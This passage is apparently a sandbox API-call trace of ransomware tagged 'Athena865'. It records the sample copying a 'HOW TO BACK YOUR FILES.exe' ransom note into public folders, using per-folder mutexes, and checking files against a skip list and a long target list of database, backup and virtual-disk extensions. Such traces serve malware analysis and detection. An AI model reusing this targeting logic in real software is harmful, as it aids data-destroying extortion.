settings\\public\\documents\\my music\\sample music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.804] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f1bd80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f1bd80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0103.804] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.804] ReleaseMutex (hMutex=0xec) returned 1 [0103.804] CloseHandle (hObject=0xec) returned 1 [0103.804] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\Public\\Documents\\My Pictures") returned="C:\\Documents and Settings\\Public\\Documents\\My Pictures" [0103.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0103.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ced0 | out: hHeap=0x4f0000) returned 1 [0103.805] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Documents\\My Pictures") returned 54 [0103.805] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8DD02A1E21000720AA0E9037DD952B5B") returned 0xec [0103.805] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.805] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\Public\\Documents\\My Pictures") returned="C:\\Documents and Settings\\Public\\Documents\\My Pictures" [0103.805] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.805] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.805] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\my pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.806] GetLastError () returned 0x0 [0103.806] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.806] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.806] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.806] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.806] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.807] lstrcpyW (in: lpString1=0x241e8b6, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.807] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.807] lstrlenW (lpString="Athena865") returned 9 [0103.807] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.807] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2fa6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.807] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.807] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0103.807] lstrcmpiW (lpString1="Sample Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.807] lstrcmpiW (lpString1="Sample Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.807] lstrcpyW (in: lpString1=0x241e8b6, lpString2="Sample Pictures" | out: lpString1="Sample Pictures") returned="Sample Pictures" [0103.807] lstrcatW (in: lpString1="Sample Pictures", lpString2="\\" | out: lpString1="Sample Pictures\\") returned="Sample Pictures\\" [0103.807] lstrcatW (in: lpString1="Sample Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Pictures\\HOW TO BACK YOUR FILES.exe") returned="Sample Pictures\\HOW TO BACK YOUR FILES.exe" [0103.807] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Documents\\My Pictures\\Sample Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\my pictures\\sample pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.807] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0103.808] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.808] ReleaseMutex (hMutex=0xec) returned 1 [0103.808] CloseHandle (hObject=0xec) returned 1 [0103.808] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\Public\\Documents\\My Videos") returned="C:\\Documents and Settings\\Public\\Documents\\My Videos" [0103.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0103.808] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ceb8 | out: hHeap=0x4f0000) returned 1 [0103.808] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Documents\\My Videos") returned 52 [0103.808] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AED476B7CB6630CDDAB2E2629FE0E8EF") returned 0xec [0103.808] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.808] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\Public\\Documents\\My Videos") returned="C:\\Documents and Settings\\Public\\Documents\\My Videos" [0103.808] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.808] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.809] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\my videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.809] GetLastError () returned 0x0 [0103.809] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.809] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.810] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Documents\\My Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7fb4300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fb4300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.810] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.810] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.810] lstrcpyW (in: lpString1=0x241e8b2, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.810] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.810] lstrlenW (lpString="Athena865") returned 9 [0103.810] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.810] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2fa6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.810] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.810] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7fda460, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fda460, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0103.810] lstrcmpiW (lpString1="Sample Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.810] lstrcmpiW (lpString1="Sample Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.810] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Sample Videos" | out: lpString1="Sample Videos") returned="Sample Videos" [0103.810] lstrcatW (in: lpString1="Sample Videos", lpString2="\\" | out: lpString1="Sample Videos\\") returned="Sample Videos\\" [0103.810] lstrcatW (in: lpString1="Sample Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Videos\\HOW TO BACK YOUR FILES.exe") returned="Sample Videos\\HOW TO BACK YOUR FILES.exe" [0103.810] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Documents\\My Videos\\Sample Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\my videos\\sample videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.811] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7fda460, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fda460, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0103.811] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.811] ReleaseMutex (hMutex=0xec) returned 1 [0103.811] CloseHandle (hObject=0xec) returned 1 [0103.811] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Music\\Sample Music" | out: lpString1="C:\\Documents and Settings\\Public\\Music\\Sample Music") returned="C:\\Documents and Settings\\Public\\Music\\Sample Music" [0103.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e270 | out: hHeap=0x4f0000) returned 1 [0103.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf48 | out: hHeap=0x4f0000) returned 1 [0103.811] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Music\\Sample Music") returned 51 [0103.811] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\308818F6BE4C9D9387C2A82D3039C031") returned 0xec [0103.811] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.811] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Music\\Sample Music" | out: lpString1="C:\\Documents and Settings\\Public\\Music\\Sample Music") returned="C:\\Documents and Settings\\Public\\Music\\Sample Music" [0103.811] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.811] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\music\\sample music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.812] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\music\\sample music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.812] GetLastError () returned 0x0 [0103.812] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.813] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.813] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f1bd80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f1bd80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.813] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.813] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.813] lstrcpyW (in: lpString1=0x241e8b0, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0103.813] lstrlenW (lpString="desktop.ini") returned 11 [0103.813] lstrlenW (lpString="Athena865") returned 9 [0103.813] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0103.813] lstrlenW (lpString=".dll") returned 4 [0103.813] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0103.813] lstrlenW (lpString=".lnk") returned 4 [0103.813] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0103.813] lstrlenW (lpString=".ini") returned 4 [0103.813] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0103.813] lstrlenW (lpString=".sys") returned 4 [0103.813] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0103.813] lstrlenW (lpString="desktop.ini") returned 11 [0103.813] lstrlenW (lpString="bak") returned 3 [0103.813] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0103.813] lstrlenW (lpString="ba_") returned 3 [0103.813] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0103.814] lstrlenW (lpString="dbb") returned 3 [0103.814] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0103.814] lstrlenW (lpString="vmdk") returned 4 [0103.814] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0103.814] lstrlenW (lpString="rar") returned 3 [0103.814] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0103.814] lstrlenW (lpString="zip") returned 3 [0103.814] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0103.814] lstrlenW (lpString="tgz") returned 3 [0103.814] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0103.814] lstrlenW (lpString="vbox") returned 4 [0103.814] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0103.814] lstrlenW (lpString="vdi") returned 3 [0103.814] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0103.814] lstrlenW (lpString="vhd") returned 3 [0103.814] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0103.814] lstrlenW (lpString="vhdx") returned 4 [0103.814] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0103.814] lstrlenW (lpString="avhd") returned 4 [0103.814] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0103.814] lstrlenW (lpString="db") returned 2 [0103.814] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0103.814] lstrlenW (lpString="db2") returned 3 [0103.814] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0103.814] lstrlenW (lpString="db3") returned 3 [0103.814] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0103.814] lstrlenW (lpString="dbf") returned 3 [0103.814] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0103.814] lstrlenW (lpString="mdf") returned 3 [0103.814] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0103.814] lstrlenW (lpString="mdb") returned 3 [0103.814] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0103.814] lstrlenW (lpString="sql") returned 3 [0103.815] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0103.815] lstrlenW (lpString="sqlite") returned 6 [0103.815] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0103.815] lstrlenW (lpString="sqlite3") returned 7 [0103.815] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0103.815] lstrlenW (lpString="sqlitedb") returned 8 [0103.815] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0103.815] lstrlenW (lpString="xml") returned 3 [0103.815] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0103.815] lstrlenW (lpString="$er") returned 3 [0103.815] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0103.815] lstrlenW (lpString="4dd") returned 3 [0103.815] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0103.815] lstrlenW (lpString="4dl") returned 3 [0103.815] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0103.815] lstrlenW (lpString="^^^") returned 3 [0103.815] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0103.815] lstrlenW (lpString="abs") returned 3 [0103.815] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0103.815] lstrlenW (lpString="abx") returned 3 [0103.815] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0103.815] lstrlenW (lpString="accdb") returned 5 [0103.815] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0103.815] lstrlenW (lpString="accdc") returned 5 [0103.815] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0103.815] lstrlenW (lpString="accde") returned 5 [0103.815] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0103.815] lstrlenW (lpString="accdr") returned 5 [0103.815] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0103.815] lstrlenW (lpString="accdt") returned 5 [0103.815] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0103.815] lstrlenW (lpString="accdw") returned 5 [0103.815] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0103.816] lstrlenW (lpString="accft") returned 5 [0103.816] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0103.816] lstrlenW (lpString="adb") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0103.816] lstrlenW (lpString="adb") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0103.816] lstrlenW (lpString="ade") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0103.816] lstrlenW (lpString="adf") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0103.816] lstrlenW (lpString="adn") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0103.816] lstrlenW (lpString="adp") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0103.816] lstrlenW (lpString="alf") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0103.816] lstrlenW (lpString="ask") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0103.816] lstrlenW (lpString="btr") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0103.816] lstrlenW (lpString="cat") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0103.816] lstrlenW (lpString="cdb") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0103.816] lstrlenW (lpString="ckp") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0103.816] lstrlenW (lpString="cma") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0103.816] lstrlenW (lpString="cpd") returned 3 [0103.816] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0103.816] lstrlenW (lpString="dacpac") returned 6 [0103.816] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0103.816] lstrlenW (lpString="dad") returned 3 [0103.817] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0103.817] lstrlenW (lpString="dadiagrams") returned 10 [0103.817] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0103.817] lstrlenW (lpString="daschema") returned 8 [0103.817] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0103.817] lstrlenW (lpString="db-journal") returned 10 [0103.817] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0103.817] lstrlenW (lpString="db-shm") returned 6 [0103.817] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0103.817] lstrlenW (lpString="db-wal") returned 6 [0103.817] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0103.817] lstrlenW (lpString="dbc") returned 3 [0103.817] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0103.817] lstrlenW (lpString="dbs") returned 3 [0103.817] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0103.817] lstrlenW (lpString="dbt") returned 3 [0103.817] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0103.817] lstrlenW (lpString="dbv") returned 3 [0103.817] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0103.817] lstrlenW (lpString="dbx") returned 3 [0103.817] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0103.817] lstrlenW (lpString="dcb") returned 3 [0103.817] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0103.817] lstrlenW (lpString="dct") returned 3 [0103.817] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0103.817] lstrlenW (lpString="dcx") returned 3 [0103.817] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0103.817] lstrlenW (lpString="ddl") returned 3 [0103.817] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0103.817] lstrlenW (lpString="dlis") returned 4 [0103.817] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0103.817] lstrlenW (lpString="dp1") returned 3 [0103.817] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0103.818] lstrlenW (lpString="dqy") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0103.818] lstrlenW (lpString="dsk") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0103.818] lstrlenW (lpString="dsn") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0103.818] lstrlenW (lpString="dtsx") returned 4 [0103.818] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0103.818] lstrlenW (lpString="dxl") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0103.818] lstrlenW (lpString="eco") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0103.818] lstrlenW (lpString="ecx") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0103.818] lstrlenW (lpString="edb") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0103.818] lstrlenW (lpString="epim") returned 4 [0103.818] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0103.818] lstrlenW (lpString="fcd") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0103.818] lstrlenW (lpString="fdb") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0103.818] lstrlenW (lpString="fic") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0103.818] lstrlenW (lpString="flexolibrary") returned 12 [0103.818] lstrlenW (lpString="fm5") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0103.818] lstrlenW (lpString="fmp") returned 3 [0103.818] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0103.818] lstrlenW (lpString="fmp12") returned 5 [0103.818] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0103.818] lstrlenW (lpString="fmpsl") returned 5 [0103.818] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0103.819] lstrlenW (lpString="fol") returned 3 [0103.819] 